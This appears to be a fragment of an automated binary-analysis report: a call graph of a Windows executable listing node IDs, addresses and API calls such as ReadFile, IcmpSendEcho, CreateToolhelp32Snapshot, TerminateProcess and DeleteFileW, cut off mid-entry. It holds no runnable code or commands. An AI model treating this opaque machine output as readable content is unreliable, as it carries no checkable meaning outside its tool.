107741->107745 107752 9c920f 107741->107752 107742->107745 107746 9c2c38 _free 20 API calls 107743->107746 107748 9c2c25 __dosmaperr 20 API calls 107744->107748 107745->107714 107747 9c91ec 107746->107747 107750 9c2b7c __wsopen_s 26 API calls 107747->107750 107749 9c91e4 107748->107749 107751 9c2c38 _free 20 API calls 107749->107751 107750->107745 107751->107747 107753 9c9228 107752->107753 107754 9c924e 107752->107754 107755 9c926a 107752->107755 107753->107754 107788 9c9235 107753->107788 107756 9c2c25 __dosmaperr 20 API calls 107754->107756 107758 9c3c40 __fread_nolock 21 API calls 107755->107758 107757 9c9253 107756->107757 107759 9c2c38 _free 20 API calls 107757->107759 107761 9c9281 107758->107761 107762 9c925a 107759->107762 107760 9cfcbc __fread_nolock 26 API calls 107763 9c93d3 107760->107763 107764 9c2de8 _free 20 API calls 107761->107764 107765 9c2b7c __wsopen_s 26 API calls 107762->107765 107766 9c9449 107763->107766 107769 9c93ec GetConsoleMode 107763->107769 107767 9c928a 107764->107767 107797 9c9265 __fread_nolock 107765->107797 107768 9c944d ReadFile 107766->107768 107770 9c2de8 _free 20 API calls 107767->107770 107771 9c9467 107768->107771 107772 9c94c1 GetLastError 107768->107772 107769->107766 107773 9c93fd 107769->107773 107774 9c9291 107770->107774 107771->107772 107779 9c943e 107771->107779 107777 9c94ce 107772->107777 107778 9c9425 107772->107778 107773->107768 107780 9c9403 ReadConsoleW 107773->107780 107775 9c929b 107774->107775 107776 9c92b6 107774->107776 107781 9c2c38 _free 20 API calls 107775->107781 107783 9c9844 __wsopen_s 28 API calls 107776->107783 107782 9c2c38 _free 20 API calls 107777->107782 107789 9c2c02 __dosmaperr 20 API calls 107778->107789 107778->107797 107792 9c948c 107779->107792 107793 9c94a3 107779->107793 107779->107797 107780->107779 107784 9c941f GetLastError 107780->107784 107786 9c92a0 107781->107786 107787 9c94d3 107782->107787 107783->107788 107784->107778 107785 9c2de8 _free 20 API calls 107785->107745 107790 9c2c25 __dosmaperr 20 API calls 107786->107790 107791 9c2c25 __dosmaperr 20 API calls 107787->107791 107788->107760 107789->107797 107790->107797 107791->107797 107794 9c8e81 __fread_nolock 31 API calls 107792->107794 107795 9c94ba 107793->107795 107793->107797 107794->107797 107796 9c8cc1 __fread_nolock 29 API calls 107795->107796 107798 9c94bf 107796->107798 107797->107785 107798->107797 107799->107722 107800->107718 107801->107714 107802->107722 107806 9be908 107803->107806 107805 a02fee 107805->107600 107809 9be889 107806->107809 107808 9be925 107808->107805 107810 9be898 107809->107810 107812 9be8ac 107809->107812 107817 9c2c38 20 API calls _abort 107810->107817 107816 9be8a8 __alldvrm 107812->107816 107819 9c375f 11 API calls 2 library calls 107812->107819 107813 9be89d 107818 9c2b7c 26 API calls __wsopen_s 107813->107818 107816->107808 107817->107813 107818->107816 107819->107816 107821 9d2370 __wsopen_s 107820->107821 107822 9afcb6 GetCurrentDirectoryW 107821->107822 107823 99b0db 22 API calls 107822->107823 107824 997f59 107823->107824 107824->107438 107893 9984c0 107825->107893 107828 992f13 107829 992f2a 107828->107829 107830 9d3d0c SetFilePointerEx 107829->107830 107831 992fb1 SetFilePointerEx SetFilePointerEx 107829->107831 107832 9d3cfb 107829->107832 107833 992f7d 107829->107833 107831->107833 107832->107830 107833->107455 107833->107456 107838->107441 107839->107452 107840->107425 107880->107425 107881->107435 107892->107448 107894 99853b 107893->107894 107897 9984ce 107893->107897 107900 9aeea9 SetFilePointerEx 107894->107900 107895 997f99 107895->107828 107897->107895 107898 99850c ReadFile 107897->107898 107898->107895 107899 998526 107898->107899 107899->107895 107899->107897 107900->107897 107911 a0370d 107910->107911 107912 992daa 40 API calls 107911->107912 107913 a0318f 27 API calls 107911->107913 107914 a035ce 107911->107914 107915 992dd4 64 API calls 107911->107915 107912->107911 107913->107911 107914->107520 107914->107537 107915->107911 107916->107537 107918 9beaa4 CallCatchBlock 107917->107918 107919 9beaca 107918->107919 107920 9beab5 107918->107920 107929 9beac5 __wsopen_s 107919->107929 107932 9b95ad EnterCriticalSection 107919->107932 107930 9c2c38 20 API calls _abort 107920->107930 107922 9beaba 107931 9c2b7c 26 API calls __wsopen_s 107922->107931 107925 9beae6 107933 9bea22 107925->107933 107927 9beaf1 107949 9beb0e LeaveCriticalSection __fread_nolock 107927->107949 107929->107559 107930->107922 107931->107929 107932->107925 107934 9bea2f 107933->107934 107935 9bea44 107933->107935 107950 9c2c38 20 API calls _abort 107934->107950 107940 9bea3f 107935->107940 107952 9be02b 107935->107952 107937 9bea34 107951 9c2b7c 26 API calls __wsopen_s 107937->107951 107940->107927 107944 9bdd75 __fread_nolock 26 API calls 107945 9bea66 107944->107945 107962 9c8a4f 107945->107962 107949->107929 107950->107937 107951->107940 107953 9be043 107952->107953 107957 9be03f 107952->107957 107954 9bdd75 __fread_nolock 26 API calls 107953->107954 107953->107957 107955 9be063 107954->107955 107977 9c5dde 62 API calls 4 library calls 107955->107977 107958 9c519a 107957->107958 107959 9c51b0 107958->107959 107961 9bea60 107958->107961 107960 9c2de8 _free 20 API calls 107959->107960 107959->107961 107960->107961 107961->107944 107963 9c8a5e 107962->107963 107965 9c8a73 107962->107965 107978 9c2c25 20 API calls _abort 107963->107978 107964 9c8aae 107983 9c2c25 20 API calls _abort 107964->107983 107965->107964 107969 9c8a9a 107965->107969 107968 9c8a63 107979 9c2c38 20 API calls _abort 107968->107979 107980 9c8a27 107969->107980 107970 9c8ab3 107984 9c2c38 20 API calls _abort 107970->107984 107974 9bea6c 107974->107940 107977->107957 107978->107968 107979->107974 107986 9c89a5 107980->107986 107983->107970 107987 9c89b1 CallCatchBlock 107986->107987 108008->107174 108010 99556a 108009->108010 108011 993e78 108009->108011 108010->108011 108012 9d4b8c DestroyIcon 108010->108012 108011->107180 108040 9fcfca 42 API calls _strftime 108011->108040 108012->108011 108014 994c21 108013->108014 108030 994d03 108013->108030 108041 99791d 108014->108041 108017 994c3c 108019 99b0db 22 API calls 108017->108019 108018 9d46b1 LoadStringW 108025 994c84 ___scrt_fastfail 108018->108025 108020 994c51 108019->108020 108021 994c5e 108020->108021 108026 9d46e7 108020->108026 108022 994dcb 22 API calls 108021->108022 108021->108025 108023 994c76 108022->108023 108024 994d30 22 API calls 108023->108024 108024->108025 108028 994ce9 Shell_NotifyIconW 108025->108028 108026->108025 108027 9d472a 108026->108027 108029 999091 22 API calls 108026->108029 108046 9afefb 51 API calls 108027->108046 108028->108030 108031 9d4711 108029->108031 108030->107185 108045 9fa1ad 23 API calls 108031->108045 108034 9d471c 108036 994d30 22 API calls 108034->108036 108035 9d4749 108037 994dcb 22 API calls 108035->108037 108036->108027 108038 9d475a 108037->108038 108039 994dcb 22 API calls 108038->108039 108039->108025 108040->107180 108042 997942 108041->108042 108043 9b01fb 22 API calls 108042->108043 108044 994c2f 108043->108044 108044->108017 108044->108018 108045->108034 108046->108035 108048 994e03 _wcslen 108047->108048 108049 9b01fb 22 API calls 108048->108049 108050 994e16 __fread_nolock 108048->108050 108051 9d4872 __fread_nolock 108049->108051 108050->107208 108053 994d62 108052->108053 108055 994d89 __fread_nolock 108052->108055 108054 9b01fb 22 API calls 108053->108054 108053->108055 108056 9d47af __fread_nolock 108054->108056 108055->107215 108057->107216 108059 9b4ffb _unexpected 108058->108059 108060 9b5002 108059->108060 108061 9b5014 108059->108061 108097 9b5149 GetModuleHandleW 108060->108097 108082 9c337e EnterCriticalSection 108061->108082 108064 9b5007 108064->108061 108098 9b518d GetModuleHandleExW 108064->108098 108065 9b50b9 108086 9b50f9 108065->108086 108069 9b5090 108073 9b50a8 108069->108073 108077 9c27b1 _abort 5 API calls 108069->108077 108071 9b5102 108106 9d2149 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 108071->108106 108072 9b50d6 108089 9b5108 108072->108089 108078 9c27b1 _abort 5 API calls 108073->108078 108077->108073 108078->108065 108079 9b501b 108079->108065 108079->108069 108083 9c2538 108079->108083 108082->108079 108107 9c2271 108083->108107 108126 9c33c6 LeaveCriticalSection 108086->108126 108088 9b50d2 108088->108071 108088->108072 108127 9c3a2c 108089->108127 108092 9b5136 108095 9b518d _abort 8 API calls 108092->108095 108093 9b5116 GetPEB 108093->108092 108094 9b5126 GetCurrentProcess TerminateProcess 108093->108094 108094->108092 108096 9b513e ExitProcess 108095->108096 108097->108064 108099 9b51da 108098->108099 108100 9b51b7 GetProcAddress 108098->108100 108102 9b51e9 108099->108102 108103 9b51e0 FreeLibrary 108099->108103 108101 9b51cc 108100->108101 108101->108099 108104 9b0eac __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 108102->108104 108103->108102 108105 9b5013 108104->108105 108105->108061 108110 9c2220 108107->108110 108109 9c2295 108109->108069 108111 9c222c CallCatchBlock 108110->108111 108118 9c337e EnterCriticalSection 108111->108118 108113 9c223a 108119 9c22c1 108113->108119 108117 9c2258 __wsopen_s 108117->108109 108118->108113 108122 9c22e1 108119->108122 108123 9c22e9 108119->108123 108120 9b0eac __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 108121 9c2247 108120->108121 108125 9c2265 LeaveCriticalSection _abort 108121->108125 108122->108120 108123->108122 108124 9c2de8 _free 20 API calls 108123->108124 108124->108122 108125->108117 108126->108088 108128 9c3a47 108127->108128 108129 9c3a51 108127->108129 108131 9b0eac __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 108128->108131 108134 9c33f7 5 API calls 2 library calls 108129->108134 108132 9b5112 108131->108132 108132->108092 108132->108093 108133 9c3a68 108133->108128 108134->108133 108135 9e5c7e 108173 9a0b05 ISource __fread_nolock 108135->108173 108136 9e69eb 108322 a03eb3 82 API calls __wsopen_s 108136->108322 108138 9b01fb 22 API calls 108159 99ff43 ISource 108138->108159 108141 9e691c 108321 a03eb3 82 API calls __wsopen_s 108141->108321 108147 99c110 22 API calls 108147->108173 108149 9b0662 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 108149->108159 108151 999091 22 API calls 108151->108159 108152 99ffec ISource 108154 9e67f3 108315 a03eb3 82 API calls __wsopen_s 108154->108315 108155 9b04c3 29 API calls pre_c_initialization 108155->108159 108158 9e673e 108314 a03eb3 82 API calls __wsopen_s 108158->108314 108159->108136 108159->108138 108159->108141 108159->108149 108159->108151 108159->108152 108159->108155 108159->108158 108161 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 108159->108161 108165 9a066d ISource 108159->108165 108179 99e530 108159->108179 108308 9a1a30 192 API calls 2 library calls 108159->108308 108160 9e6806 108319 9f77e9 22 API calls 108160->108319 108161->108159 108163 9b01fb 22 API calls 108163->108173 108164 9e6814 108316 a03eb3 82 API calls __wsopen_s 108164->108316 108320 a03eb3 82 API calls __wsopen_s 108165->108320 108167 9e6826 108317 9f77e9 22 API calls 108167->108317 108171 9e5c08 108318 a03eb3 82 API calls __wsopen_s 108171->108318 108172 9a3de0 9 API calls 108172->108173 108173->108147 108173->108152 108173->108154 108173->108159 108173->108160 108173->108163 108173->108164 108173->108171 108173->108172 108190 99fe90 108173->108190 108216 a10da1 108173->108216 108239 a19cfd 108173->108239 108242 a1a2c7 108173->108242 108248 a1aa5c 108173->108248 108253 9ab1eb 108173->108253 108272 a1785d 108173->108272 108309 9ae466 192 API calls 108173->108309 108310 a019e6 22 API calls 108173->108310 108311 9b0662 5 API calls __Init_thread_wait 108173->108311 108312 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 108173->108312 108313 9f77e9 22 API calls 108173->108313 108180 99e54d ISource 108179->108180 108180->108159 108181 99ebe8 108180->108181 108183 99e6d7 ISource 108180->108183 108185 9e46b7 108180->108185 108189 9e44eb 108180->108189 108324 9ae156 22 API calls ISource 108180->108324 108181->108183 108326 99ba2d 39 API calls 108181->108326 108183->108159 108187 9e46c9 108185->108187 108325 9bd385 39 API calls 108185->108325 108187->108159 108323 9bd385 39 API calls 108189->108323 108191 9a15ea 108190->108191 108192 99fec5 108190->108192 108328 9b0662 5 API calls __Init_thread_wait 108191->108328 108193 9b01fb 22 API calls 108192->108193 108214 99fefd ISource 108193->108214 108195 9a15f4 108195->108192 108329 9b04c3 29 API calls __onexit 108195->108329 108197 9a160e 108330 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 108197->108330 108199 9b01fb 22 API calls 108199->108214 108200 9e69eb 108334 a03eb3 82 API calls __wsopen_s 108200->108334 108201 99e530 41 API calls 108201->108214 108203 9e691c 108333 a03eb3 82 API calls __wsopen_s 108203->108333 108206 9b0662 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 108206->108214 108208 999091 22 API calls 108208->108214 108209 99ffec ISource 108209->108173 108210 9b04c3 29 API calls pre_c_initialization 108210->108214 108211 9e673e 108331 a03eb3 82 API calls __wsopen_s 108211->108331 108212 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 108212->108214 108214->108199 108214->108200 108214->108201 108214->108203 108214->108206 108214->108208 108214->108209 108214->108210 108214->108211 108214->108212 108215 9a066d ISource 108214->108215 108327 9a1a30 192 API calls 2 library calls 108214->108327 108332 a03eb3 82 API calls __wsopen_s 108215->108332 108217 a10dca 108216->108217 108218 a10df8 WSAStartup 108217->108218 108367 99ce08 39 API calls 108217->108367 108219 a10e3d 108218->108219 108230 a10e0c ISource 108218->108230 108335 9976dc 108219->108335 108222 a10de5 108222->108218 108368 99ce08 39 API calls 108222->108368 108227 a10df4 108227->108218 108229 a10e5e inet_addr gethostbyname 108229->108230 108231 a10e7c IcmpCreateFile 108229->108231 108230->108173 108231->108230 108232 a10ebc 108231->108232 108233 993172 22 API calls 108232->108233 108234 a10ee0 108233->108234 108235 a10f14 IcmpSendEcho 108234->108235 108236 a10eeb IcmpSendEcho 108234->108236 108237 a10f35 108235->108237 108236->108237 108238 a10ffb IcmpCloseHandle WSACleanup 108237->108238 108238->108230 108375 a186cb 108239->108375 108241 a19d0d 108241->108173 108243 a1a2da 108242->108243 108244 99c966 53 API calls 108243->108244 108247 a1a2e9 108243->108247 108245 a1a347 108244->108245 108462 a0177b 108245->108462 108247->108173 108249 99c966 53 API calls 108248->108249 108250 a1aa78 108249->108250 108498 9fdc3e CreateToolhelp32Snapshot Process32FirstW 108250->108498 108252 a1aa87 108252->108173 108254 99c966 53 API calls 108253->108254 108255 9ab215 108254->108255 108516 9ac081 108255->108516 108257 9ab22c 108268 9ab648 _wcslen 108257->108268 108521 99ce08 39 API calls 108257->108521 108259 9b4e48 _strftime 40 API calls 108259->108268 108260 99791d 22 API calls 108260->108268 108261 9abfe7 43 API calls 108261->108268 108264 99600d 22 API calls 108264->108268 108265 99ce08 39 API calls 108265->108268 108266 9ab7a8 108266->108173 108267 99c966 53 API calls 108267->108268 108268->108259 108268->108260 108268->108261 108268->108264 108268->108265 108268->108266 108268->108267 108269 99b0db 22 API calls 108268->108269 108270 993b82 Shell_NotifyIconW 108268->108270 108271 993df8 61 API calls 108268->108271 108522 99afe0 22 API calls __fread_nolock 108268->108522 108523 9962d7 22 API calls 108268->108523 108269->108268 108270->108268 108271->108268 108273 a178b6 108272->108273 108274 a1789c 108272->108274 108524 a15e52 108273->108524 108561 a03eb3 82 API calls __wsopen_s 108274->108561 108278 99fe90 191 API calls 108279 a17925 108278->108279 108280 a179c0 108279->108280 108283 a17967 108279->108283 108295 a178ae 108279->108295 108281 a17a14 108280->108281 108282 a179c6 108280->108282 108284 99c966 53 API calls 108281->108284 108281->108295 108562 a019aa 22 API calls 108282->108562 108289 a01328 22 API calls 108283->108289 108285 a17a26 108284->108285 108287 998f59 22 API calls 108285->108287 108290 a17a4a CharUpperBuffW 108287->108290 108288 a179e9 108563 998deb 22 API calls 108288->108563 108292 a1799f 108289->108292 108294 a17a64 108290->108294 108293 9a3a70 191 API calls 108292->108293 108293->108295 108296 a17ab7 108294->108296 108297 a17a6b 108294->108297 108295->108173 108298 99c966 53 API calls 108296->108298 108301 a01328 22 API calls 108297->108301 108299 a17abf 108298->108299 108564 9ab1b7 23 API calls 108299->108564 108302 a17a99 108301->108302 108529 9a3a70 108302->108529 108304 a17ac9 108304->108295 108305 99c966 53 API calls 108304->108305 108306 a17ae4 108305->108306 108565 998deb 22 API calls 108306->108565 108308->108159 108309->108173 108310->108173 108311->108173 108312->108173 108313->108173 108314->108165 108315->108160 108316->108167 108317->108152 108318->108160 108319->108152 108320->108152 108321->108152 108322->108152 108323->108189 108324->108180 108325->108187 108326->108183 108327->108214 108328->108195 108329->108197 108330->108192 108331->108215 108332->108209 108333->108209 108334->108209 108336 9976ef 108335->108336 108337 9b01fb 22 API calls 108336->108337 108338 9976fb 108337->108338 108339 99c966 108338->108339 108340 99c978 108339->108340 108341 99c97b 108339->108341 108360 9af9f1 WideCharToMultiByte 108340->108360 108342 99c9b1 108341->108342 108343 99c983 108341->108343 108345 9e1283 108342->108345 108348 99c9c3 108342->108348 108354 9e119c 108342->108354 108369 9b55e6 26 API calls 108343->108369 108372 9b55a3 26 API calls 108345->108372 108346 99c993 108353 9b01fb 22 API calls 108346->108353 108370 9afefb 51 API calls 108348->108370 108349 9e129b 108349->108349 108351 9e1215 108371 9afefb 51 API calls 108351->108371 108355 99c99d 108353->108355 108354->108351 108357 9b01fb 22 API calls 108354->108357 108356 99c110 22 API calls 108355->108356 108356->108340 108358 9e120c 108357->108358 108359 99c110 22 API calls 108358->108359 108359->108351 108361 9afa52 108360->108361 108362 9afa1b 108360->108362 108374 9aff39 22 API calls 108361->108374 108364 9afa22 WideCharToMultiByte 108362->108364 108373 9afa5b 22 API calls __fread_nolock 108364->108373 108366 9afa46 108366->108229 108367->108222 108368->108227 108369->108346 108370->108346 108371->108345 108372->108349 108373->108366 108374->108366 108376 99c966 53 API calls 108375->108376 108377 a18702 108376->108377 108400 a18747 ISource 108377->108400 108412 a19445 108377->108412 108379 a189f3 108380 a18bc1 108379->108380 108384 a18a01 108379->108384 108449 a19656 60 API calls 108380->108449 108383 a18bd0 108383->108384 108385 a18bdc 108383->108385 108425 a185f8 108384->108425 108385->108400 108386 99c966 53 API calls 108404 a187bb 108386->108404 108391 a18a3a 108438 9b0090 108391->108438 108394 a18a74 108396 9948fb 22 API calls 108394->108396 108395 a18a5a 108445 a03eb3 82 API calls __wsopen_s 108395->108445 108398 a18a83 108396->108398 108401 9947f0 22 API calls 108398->108401 108399 a18a65 GetCurrentProcess TerminateProcess 108399->108394 108400->108241 108402 a18a9c 108401->108402 108411 a18ac4 108402->108411 108446 9a1d40 22 API calls 108402->108446 108404->108379 108404->108386 108404->108400 108443 9f4991 22 API calls __fread_nolock 108404->108443 108444 a18c8f 42 API calls _strftime 108404->108444 108405 a18c37 108405->108400 108407 a18c4b FreeLibrary 108405->108407 108406 a18ab3 108447 a192ed 75 API calls 108406->108447 108407->108400 108411->108405 108448 9a1d40 22 API calls 108411->108448 108450 a192ed 75 API calls 108411->108450 108413 998f59 22 API calls 108412->108413 108414 a19460 CharLowerBuffW 108413->108414 108451 9f9670 108414->108451 108418 999091 22 API calls 108419 a1949c 108418->108419 108420 99b26f 22 API calls 108419->108420 108421 a194b0 108420->108421 108422 9999c5 22 API calls 108421->108422 108424 a194ba _wcslen 108422->108424 108423 a195d0 _wcslen 108423->108404 108424->108423 108458 a18c8f 42 API calls _strftime 108424->108458 108427 a18613 108425->108427 108428 a1865e 108425->108428 108426 9b01fb 22 API calls 108426->108427 108427->108426 108427->108428 108429 a19808 108428->108429 108430 a19a1d ISource 108429->108430 108437 a1982c _strcat _wcslen 108429->108437 108430->108391 108431 99ce08 39 API calls 108431->108437 108432 99d6cc 39 API calls 108432->108437 108433 99cc33 39 API calls 108433->108437 108434 9bee2c 21 API calls ___std_exception_copy 108434->108437 108435 99c966 53 API calls 108435->108437 108437->108430 108437->108431 108437->108432 108437->108433 108437->108434 108437->108435 108461 9ff785 WideCharToMultiByte WideCharToMultiByte _wcslen 108437->108461 108441 9b00a5 108438->108441 108439 9b013d SetErrorMode 108440 9b010b 108439->108440 108440->108394 108440->108395 108441->108439 108441->108440 108442 9b012b CloseHandle 108441->108442 108442->108440 108443->108404 108444->108404 108445->108399 108446->108406 108447->108411 108448->108411 108449->108383 108450->108411 108452 9f9690 _wcslen 108451->108452 108455 9f96c5 108452->108455 108456 9f9784 108452->108456 108457 9f977f 108452->108457 108455->108457 108459 9ae19f 41 API calls 108455->108459 108456->108457 108460 9ae19f 41 API calls 108456->108460 108457->108418 108457->108424 108458->108423 108459->108455 108460->108456 108461->108437 108463 a01788 108462->108463 108464 9b01fb 22 API calls 108463->108464 108465 a0178f 108464->108465 108468 9ffb75 108465->108468 108467 a017c9 108467->108247 108469 998f59 22 API calls 108468->108469 108470 9ffb88 CharLowerBuffW 108469->108470 108473 9ffb9b 108470->108473 108471 9ffbd9 108474 9978f9 22 API calls 108471->108474 108475 9ffbeb 108471->108475 108472 9978f9 22 API calls 108472->108473 108473->108471 108473->108472 108481 9ffba5 ___scrt_fastfail 108473->108481 108474->108475 108479 9ffc3b 108475->108479 108496 9ffaad 22 API calls 108475->108496 108478 9ffc78 108480 9b01fb 22 API calls 108478->108480 108478->108481 108482 9ffccc 108479->108482 108480->108481 108481->108467 108483 999091 22 API calls 108482->108483 108484 9ffcfe 108483->108484 108485 999091 22 API calls 108484->108485 108486 9ffd07 108485->108486 108487 999091 22 API calls 108486->108487 108489 9ffd10 108487->108489 108488 9fffd4 108488->108478 108489->108488 108490 99b0db 22 API calls 108489->108490 108491 9b67a8 GetStringTypeW 108489->108491 108493 9b66f1 39 API calls 108489->108493 108494 9ffccc 41 API calls 108489->108494 108495 99afe0 22 API calls 108489->108495 108497 9b67d2 GetStringTypeW _strftime 108489->108497 108490->108489 108491->108489 108493->108489 108494->108489 108495->108489 108496->108475 108497->108489 108508 9fe6c0 108498->108508 108500 9fdc8b Process32NextW 108501 9fdd48 CloseHandle 108500->108501 108507 9fdc84 108500->108507 108501->108252 108502 999091 22 API calls 108502->108507 108503 99c110 22 API calls 108503->108507 108504 996052 22 API calls 108504->108507 108505 994d30 22 API calls 108506 9fdcf1 CompareStringW 108505->108506 108506->108507 108507->108500 108507->108501 108507->108502 108507->108503 108507->108504 108507->108505 108509 9fe6cb 108508->108509 108510 9fe6e2 108509->108510 108513 9fe6e8 108509->108513 108514 9b67d2 GetStringTypeW _strftime 108509->108514 108515 9b671b 39 API calls _strftime 108510->108515 108513->108507 108514->108509 108515->108513 108517 9b01fb 22 API calls 108516->108517 108518 9ac08e 108517->108518 108519 99c110 22 API calls 108518->108519 108520 9ac099 108519->108520 108520->108257 108521->108268 108522->108268 108523->108268 108525 a15e6d 108524->108525 108528 a15ebb 108524->108528 108526 9b01fb 22 API calls 108525->108526 108525->108528 108566 a0129d 22 API calls 108525->108566 108526->108525 108528->108278 108530 9a3cfa 108529->108530 108531 9a3ad2 108529->108531 108612 9b0662 5 API calls __Init_thread_wait 108530->108612 108533 9a3ade 108531->108533 108534 9e8253 108531->108534 108567 9a3de0 108533->108567 108535 a1785d 192 API calls 108534->108535 108538 9e8263 108535->108538 108536 9a3d04 108536->108531 108540 99c110 22 API calls 108536->108540 108553 9a3caa 108538->108553 108614 a03eb3 82 API calls __wsopen_s 108538->108614 108545 9a3d22 108540->108545 108542 9a3b0f 108543 9a3de0 9 API calls 108542->108543 108542->108553 108544 9a3b23 108543->108544 108544->108538 108547 9a3de0 9 API calls 108544->108547 108613 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 108545->108613 108549 9a3b3c 108547->108549 108549->108538 108550 9a3bcd 108549->108550 108551 9a3de0 9 API calls 108550->108551 108552 9a3be0 108551->108552 108558 a19cfd 120 API calls 108552->108558 108559 a1aa5c 58 API calls 108552->108559 108593 a0651e 108552->108593 108600 a22fe1 108552->108600 108603 a0f733 108552->108603 108553->108295 108554 9a3bfc ISource 108554->108553 108611 9ae156 22 API calls ISource 108554->108611 108558->108554 108559->108554 108561->108295 108562->108288 108563->108295 108564->108304 108565->108295 108566->108525 108568 9a3e21 108567->108568 108574 9a3dfd 108567->108574 108615 9b0662 5 API calls __Init_thread_wait 108568->108615 108570 9a3e2b 108570->108574 108616 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 108570->108616 108572 9aa89b 108576 9a3aea 108572->108576 108618 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 108572->108618 108574->108576 108617 9b0662 5 API calls __Init_thread_wait 108574->108617 108577 9a2fc0 108576->108577 108578 9e7dff 108577->108578 108579 9a2fec 108577->108579 108620 a03eb3 82 API calls __wsopen_s 108578->108620 108581 9e7e24 108579->108581 108588 9a302a __fread_nolock 108579->108588 108621 a03eb3 82 API calls __wsopen_s 108581->108621 108584 9b01fb 22 API calls 108584->108588 108585 9e7e68 108622 9ae466 192 API calls 108585->108622 108586 99fe90 192 API calls 108586->108588 108588->108584 108588->108585 108588->108586 108589 9e7e7c 108588->108589 108590 9a30fd 108588->108590 108591 9a30ea 108588->108591 108589->108590 108623 a03eb3 82 API calls __wsopen_s 108589->108623 108590->108542 108591->108590 108619 a15f0e 54 API calls _wcslen 108591->108619 108594 99c966 53 API calls 108593->108594 108595 a06534 108594->108595 108624 9fdb0b 108595->108624 108597 a0653c 108598 a06540 GetLastError 108597->108598 108599 a06555 108597->108599 108598->108599 108599->108554 108649 a2320a 108600->108649 108602 a22fef 108602->108554 108604 a0f744 108603->108604 108605 993172 22 API calls 108604->108605 108606 a0f74e 108605->108606 108607 99c966 53 API calls 108606->108607 108608 a0f765 GetEnvironmentVariableW 108607->108608 108663 a014e1 22 API calls 108608->108663 108610 a0f782 ISource 108610->108554 108611->108554 108612->108536 108613->108531 108614->108553 108615->108570 108616->108574 108617->108572 108618->108576 108619->108590 108620->108579 108621->108590 108622->108589 108623->108590 108625 999091 22 API calls 108624->108625 108626 9fdb2a 108625->108626 108627 999091 22 API calls 108626->108627 108628 9fdb33 108627->108628 108629 999091 22 API calls 108628->108629 108630 9fdb3c 108629->108630 108631 9950f7 23 API calls 108630->108631 108632 9fdb47 108631->108632 108647 9fe970 GetFileAttributesW 108632->108647 108635 9fdb62 108637 996052 22 API calls 108635->108637 108636 994dcb 22 API calls 108636->108635 108638 9fdb76 FindFirstFileW 108637->108638 108639 9fdc02 FindClose 108638->108639 108642 9fdb95 108638->108642 108643 9fdc0d 108639->108643 108640 9fdbdd FindNextFileW 108640->108642 108641 994d30 22 API calls 108641->108642 108642->108639 108642->108640 108642->108641 108644 994dcb 22 API calls 108642->108644 108643->108597 108645 9fdbce DeleteFileW 108644->108645 108645->108640 108646 9fdbf9 FindClose 108645->108646 108646->108643 108648 9fdb50 108647->108648 108648->108635 108648->108636 108655 a231b2 108649->108655 108651 a2321a 108652 a2322b timeGetTime 108651->108652 108662 99ce08 39 API calls 108651->108662 108652->108602 108656 a231cd 108655->108656 108657 a231f7 108656->108657 108658 a231d9 108656->108658 108660 99b0db 22 API calls 108657->108660 108659 99c966 53 API calls 108658->108659 108661 a231e6 108659->108661 108660->108661 108661->108651 108662->108652 108663->108610 108664 991098 108669 9929a4 108664->108669 108668 9910a7 108670 999091 22 API calls 108669->108670 108671 9929bb GetVersionExW 108670->108671 108672 99b0db 22 API calls 108671->108672 108673 992a08 108672->108673 108674 9999c5 22 API calls 108673->108674 108683 992a3e 108673->108683 108675 992a32 108674->108675 108677 993249 22 API calls 108675->108677 108676 992ae3 GetCurrentProcess IsWow64Process 108678 992aff 108676->108678 108677->108683 108679 9d38ae GetSystemInfo 108678->108679 108680 992b17 LoadLibraryA 108678->108680 108681 992b28 GetProcAddress 108680->108681 108682 992b64 GetSystemInfo 108680->108682 108681->108682 108684 992b38 GetNativeSystemInfo 108681->108684 108685 992b3e 108682->108685 108683->108676 108686 9d3869 108683->108686 108684->108685 108687 99109d 108685->108687 108688 992b42 FreeLibrary 108685->108688 108689 9b04c3 29 API calls __onexit 108687->108689 108688->108687 108689->108668 108690 9e781f 108691 9e7827 108690->108691 108694 9a2305 108690->108694 108733 9f793c 22 API calls __fread_nolock 108691->108733 108693 9e7839 108734 9f78b5 22 API calls __fread_nolock 108693->108734 108696 9b01fb 22 API calls 108694->108696 108701 9e789e 108694->108701 108699 9a2359 108696->108699 108697 9e7863 108698 99fe90 192 API calls 108697->108698 108700 9e788a 108698->108700 108718 9ac103 108699->108718 108700->108701 108735 a15f0e 54 API calls _wcslen 108700->108735 108704 9e78bb 108704->108694 108736 9f793c 22 API calls __fread_nolock 108704->108736 108706 9b01fb 22 API calls 108713 9a243e ISource 108706->108713 108708 9aa8c3 22 API calls 108716 9a277c ISource 108708->108716 108710 9e7cd3 108737 9f5566 22 API calls ISource 108710->108737 108711 9e7cee 108713->108710 108713->108711 108715 9a26e1 ISource 108713->108715 108724 9aa8c3 108713->108724 108715->108708 108715->108716 108717 9a2793 108716->108717 108732 9ae13e 22 API calls ISource 108716->108732 108722 9ac113 108718->108722 108719 9a2383 108719->108706 108720 9b01fb 22 API calls 108720->108722 108721 999091 22 API calls 108721->108722 108722->108719 108722->108720 108722->108721 108723 9ac103 22 API calls 108722->108723 108723->108722 108725 9aa8d1 108724->108725 108731 9aa8f9 ISource 108724->108731 108726 9aa8df 108725->108726 108727 9aa8c3 22 API calls 108725->108727 108728 9aa8c3 22 API calls 108726->108728 108729 9aa8e5 108726->108729 108727->108726 108728->108729 108730 